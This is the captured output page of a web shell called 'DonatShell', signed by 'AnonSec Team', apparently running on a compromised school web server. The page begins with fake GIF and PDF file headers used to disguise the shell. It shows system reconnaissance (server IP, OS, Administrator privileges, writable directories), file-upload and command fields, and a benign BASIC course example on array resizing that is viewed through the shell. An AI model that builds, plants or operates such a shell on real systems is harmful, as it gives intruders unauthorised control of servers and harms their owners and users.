GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/arrayVariableLength.bas
blockSize=5
myArrayLength = blockSize
dim myArray(myArrayLength)

for i = 1 to myArrayLength
    myArray(i)=i*i
next i

for i = 1 to myArrayLength
    print i;": ";myArray(i)
next i

'Before a redimension you must store the array in a temp array.
dim tempArray(myArrayLength)
for i = 1 to myArrayLength
    tempArray(i)=myArray(i)
next i

print
myArrayNewLength = myArrayLength+blockSize
redim myArray(myArrayNewLength)
'After the redimension copy it back
for i = 1 to myArrayLength
    myArray(i)=tempArray(i)
next i

for i = myArrayLength+1 to myArrayNewLength
    myArray(i)=i*i
next i

for i = 1 to myArrayNewLength
    print i;": ";myArray(i)
next i

Anon7 - 2022
AnonSec Team